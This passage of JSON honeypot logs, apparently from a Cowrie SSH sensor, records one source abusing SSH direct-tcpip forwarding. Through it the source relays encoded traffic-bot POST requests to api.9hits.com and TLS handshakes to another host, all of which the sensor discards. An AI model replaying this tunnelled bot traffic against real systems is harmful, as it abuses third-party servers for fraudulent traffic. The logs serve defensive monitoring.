%2F18HKlp5ys85J%2B%2BytwSjb3Z6DJ0MEzo8nAYK3YgrCcFwCMpITbp0Z3%2B2mFS7POuBvHQTqVVII3nwc%2FwXUDvQHoEWEeQDIbLak%2FZgnOqzGWwKb%2F8PwJVTxFGNcsR8OCdiPb7ghF3ifUY2Er934Z4FtSXuu7P0dkb%2BwlDXs3csYP'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Z01VX3ReUVBfKVVuNm4%2FZg%3D%3DSELk%2BtTVlM3CC%2BEtXbMJyKhUkHhwFa%2FV1CXq8wOuOYhGm9HoZ952959rMm4Rosl%2F1RREZ9%2B7cAxA77ZOeJe2yq%2ByPvxKi60F0Kd9R5X0WcdT3es%2F6%2BRjN%2FleW8etOqUzSzg0QeW5%2FLruWf8EEiTwBlVRq%2Fd%2BPVlR2iV4wxaW9oCZqht1zSBjXsTw4dfywh4zLc2IGVnK9G85XDR55SsNWFRt4C6EIeWCjz85D0xpq0Ms15TnD6nIIHfzRw4QRgglsUD3cjoq0bz4%2BX2x5UavfmZH%2FGOMmqxQHfkJm31OzZ%2Fcgq0EeWr2i91f4PX%2FTvdCuc1wT6COb11iJN%2FFpemhspxnSAcFiHwUnZdBXcvxpKVcq2QUKRjEJGuiH80TXcVAf8NgRLne%2BhnufWyp6F%2Bjch3gDPbymIxYJvX%2FLCJT0yDyZ0Q%2B9vkjyr2Nud5KWm6xqZUUQtQGiPSE5pRX5z3FW6Oya0pRI2xGopKLB8hj3aJMTZlYIzOCdccruS7L87i9SYTCzZRxhiX0oZ%2FvBaspme%2FG8oC00BeSbtuo44rdPtPTvNBVK%2FKf0q%2BwY73hTaQSZSRloUG2oThRqsbRmbLBHulftUyXLLxparWmWuNaSk4LY%2FQRInw5WUjHZ%2FBF3LazE2PZpr0NxtpSWIYccF3yLL%2BZQ5Wj9mlgBs1SGdFS%2BvgBPal1LQTsTRnyAz7B9F3qT7Pm9h2kiD9pcEcGmcgNksGlp37k79JiLzZ%2B07o0LjGYufdelZOihtsoylm4v4pq40Evf1eBLSCnSvdAvmAbna4NmE9MjxAb3bDym8pZ7xQHUNKY2G1NzRnxsztmBVGF%2FEAJ%2F4xa9jPgUXgU0REygwNtlR3Zzc7kTN2Y8qPh6WqtYy7PJufB%2FFy67zLagmPfHYtcHVpnvILeT8yH7Jiktl%2F18HKlp5ys85J%2B%2BytwSjb3Z6DJ0MEzo8nAYK3YgrCcFwCMpITbp0Z3%2B2mFS7POuBvHQTqVVII3nwc%2FwXUDvQHoEWEeQDIbLak%2FZgnOqzGWwKb%2F8PwJVTxFGNcsR8OCdiPb7ghF3ifUY2Er934Z4FtSXuu7P0dkb%2BwlDXs3csYP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.111422Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.390625Z","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.451406Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2k\\n\\x85>?\\xcc`\\xa5\\xa0\\xc5\\xc2\\xba\\x83\\x98\\x8cJ\\x995\\x85\\xf0\\xba\\xa6\\xb1z\\x04\\x8f\\xc3i\\t7\\xc1 \\xbf\\xde|\\xb4\\xabQ6f/A\\x9a\\xfb\\x80w<\\xc6b\\xcb\\xa5P\\x85T\\x1ce&k\\xbb\\xa0\\xd3J8\\xcb\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 R}\\xb70cO\\xc4l;\\xa6\\x9e\\xe4\\xa8\\t\\x99\\xe7\\x85TOQ \\xdb\\x01\\xbe\\x90\\xa9\\x84\\x87\\x84\\xb34N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2k\\n\\x85>?\\xcc`\\xa5\\xa0\\xc5\\xc2\\xba\\x83\\x98\\x8cJ\\x995\\x85\\xf0\\xba\\xa6\\xb1z\\x04\\x8f\\xc3i\\t7\\xc1 \\xbf\\xde|\\xb4\\xabQ6f/A\\x9a\\xfb\\x80w<\\xc6b\\xcb\\xa5P\\x85T\\x1ce&k\\xbb\\xa0\\xd3J8\\xcb\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 R}\\xb70cO\\xc4l;\\xa6\\x9e\\xe4\\xa8\\t\\x99\\xe7\\x85TOQ \\xdb\\x01\\xbe\\x90\\xa9\\x84\\x87\\x84\\xb34N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.454774Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.529373Z","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.588594Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\x1bz\\xb2\\xa2]E\\xbd\\x05\\x17\\xd3\\xab\\x19\\xc1\\x1c\\x11\\xb79|~<\\xfb\\xa6\\xef\\x13C1;\\t \\xb1\\xe5 \\xb1\\xe6{`\\xb7g\\x85\\x1e\\xab\\xc7\\x9b\\xb5\\x14\\xb3\\x83A+\\xe5D-k\\xe4?rN\\x96\\t\\x8a\\x18\\xee\\xadW\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 3\\xe57\\xe8\\xa7;\\xf0\\xaf\\x7f:\\xdd\\x86\\xd3\"G0_\\x1a\\xa1\\x07\\xe8\\xb7\\xbe\\xe4\\x15\\x16V@\\xed\\xb2\\x8e\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\x1bz\\xb2\\xa2]E\\xbd\\x05\\x17\\xd3\\xab\\x19\\xc1\\x1c\\x11\\xb79|~<\\xfb\\xa6\\xef\\x13C1;\\t \\xb1\\xe5 \\xb1\\xe6{`\\xb7g\\x85\\x1e\\xab\\xc7\\x9b\\xb5\\x14\\xb3\\x83A+\\xe5D-k\\xe4?rN\\x96\\t\\x8a\\x18\\xee\\xadW\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 3\\xe57\\xe8\\xa7;\\xf0\\xaf\\x7f:\\xdd\\x86\\xd3\"G0_\\x1a\\xa1\\x07\\xe8\\xb7\\xbe\\xe4\\x15\\x16V@\\xed\\xb2\\x8e\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.590892Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.272667Z","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.277084Z","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.341058Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VGxFX0JOOGVzQGxhVHRLbA%3D%3DGP1EGZIPDxnEQQhhmnNh4Y9biYZz2HHZS2qgdHW4tcKk09DrrZg%2B1QJ6PvPQT7hvW2ersdNvdecmZmt98YWmiif28BQ028bnECcijPX2rLW8zUdDrKXzC4VoNKHoZhcRaMl6%2BZFQhnv2xvnya3wzJawAaA3P%2FphuuKqKeA3C6oLkpEMLe%2F3ZjC24NXwy8oD1WUKFwgxhm23ieiiArWQa%2Fiwutww81Uhv3QdyqfPMXI2Kvbpsg8cb1yqQgeYVKBzJtTZ1q1jSXIAjRKMNhTvYbOHhMj956bFE0FTOw%2B8TeJ4k5OLZsUvIBgHmh0kgX5%2FCZNqJXiJ6e7YK4orzqepjeCcW%2FE3AZM9VRiTRxE8MC5BTVVEy%2B3pOUg1sUDH%2BOJbAGHfHoAFvHkfWKgJBZS6xO5RvWLA%2B%2BRIMt86k6QypS4fYTRYQ%2B4KJbNkiJWb%2BX4AGF5AliFQsDbs153hmvl7c1m%2FGQ%2FqDyojnZkJ6C9si%2Bmn3hn8L8yikaOvrXbWwKbLg0tiUq%2FIe934F4G2kTmO3Ycmj5ULKEvqV3SC1no3yQxKroWZT%2Fn5QtMMrK9tT150bRhUOtteEikl%2B%2FUYSNpocq5pRfZ1%2FitPqygYGU3MkqgwVF3yVJYW0SRWUZKVLoDYv9KK3Z3NPPsATPARzw2PALgJFA8KPxfGA4yf7o4gAj9TpIo28dPUlXbnwJqc3r%2Bqa2JXV62smJsn%2FAJk3sXwQL4%2F07Anj%2FK7D9LN4lwC1iIDYTBki4dV8uAtgJWmZpQpvqlG%2FBb2j6CIq5dxSsIlIKgp8TYWsRvUUo0nX8Z5hc3IwVBm9ILgrpz8FUiRiTK16N4CtS9cXdlwXoIkv6xtB2Gsz5BFE%2BvBvzsfvT1Jx8vNVGNqZDpAGOSHM0LM3B1QONz%2FT4yCQAOztRJ0AIkJcrjZlU3wFGI15hmt%2BwyN3UFyrJsS%2BzeAxwBC3nZIJ2J0Jw6eqsc6lrMOFwVhImFlUN7IgpLLslQr2tpADsyDNylyegT8FRIJaJCG%2BE196zn3Sbl0IgX5yEWENzCrkG8JBBv8FDtOKbeA1xNAdZq2%2F2nza3CJSddHuc7OI4t06SYIw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VGxFX0JOOGVzQGxhVHRLbA%3D%3DGP1EGZIPDxnEQQhhmnNh4Y9biYZz2HHZS2qgdHW4tcKk09DrrZg%2B1QJ6PvPQT7hvW2ersdNvdecmZmt98YWmiif28BQ028bnECcijPX2rLW8zUdDrKXzC4VoNKHoZhcRaMl6%2BZFQhnv2xvnya3wzJawAaA3P%2FphuuKqKeA3C6oLkpEMLe%2F3ZjC24NXwy8oD1WUKFwgxhm23ieiiArWQa%2Fiwutww81Uhv3QdyqfPMXI2Kvbpsg8cb1yqQgeYVKBzJtTZ1q1jSXIAjRKMNhTvYbOHhMj956bFE0FTOw%2B8TeJ4k5OLZsUvIBgHmh0kgX5%2FCZNqJXiJ6e7YK4orzqepjeCcW%2FE3AZM9VRiTRxE8MC5BTVVEy%2B3pOUg1sUDH%2BOJbAGHfHoAFvHkfWKgJBZS6xO5RvWLA%2B%2BRIMt86k6QypS4fYTRYQ%2B4KJbNkiJWb%2BX4AGF5AliFQsDbs153hmvl7c1m%2FGQ%2FqDyojnZkJ6C9si%2Bmn3hn8L8yikaOvrXbWwKbLg0tiUq%2FIe934F4G2kTmO3Ycmj5ULKEvqV3SC1no3yQxKroWZT%2Fn5QtMMrK9tT150bRhUOtteEikl%2B%2FUYSNpocq5pRfZ1%2FitPqygYGU3MkqgwVF3yVJYW0SRWUZKVLoDYv9KK3Z3NPPsATPARzw2PALgJFA8KPxfGA4yf7o4gAj9TpIo28dPUlXbnwJqc3r%2Bqa2JXV62smJsn%2FAJk3sXwQL4%2F07Anj%2FK7D9LN4lwC1iIDYTBki4dV8uAtgJWmZpQpvqlG%2FBb2j6CIq5dxSsIlIKgp8TYWsRvUUo0nX8Z5hc3IwVBm9ILgrpz8FUiRiTK16N4CtS9cXdlwXoIkv6xtB2Gsz5BFE%2BvBvzsfvT1Jx8vNVGNqZDpAGOSHM0LM3B1QONz%2FT4yCQAOztRJ0AIkJcrjZlU3wFGI15hmt%2BwyN3UFyrJsS%2BzeAxwBC3nZIJ2J0Jw6eqsc6lrMOFwVhImFlUN7IgpLLslQr2tpADsyDNylyegT8FRIJaJCG%2BE196zn3Sbl0IgX5yEWENzCrkG8JBBv8FDtOKbeA1xNAdZq2%2F2nza3CJSddHuc7OI4t06SYIw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.343742Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:07.348906Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
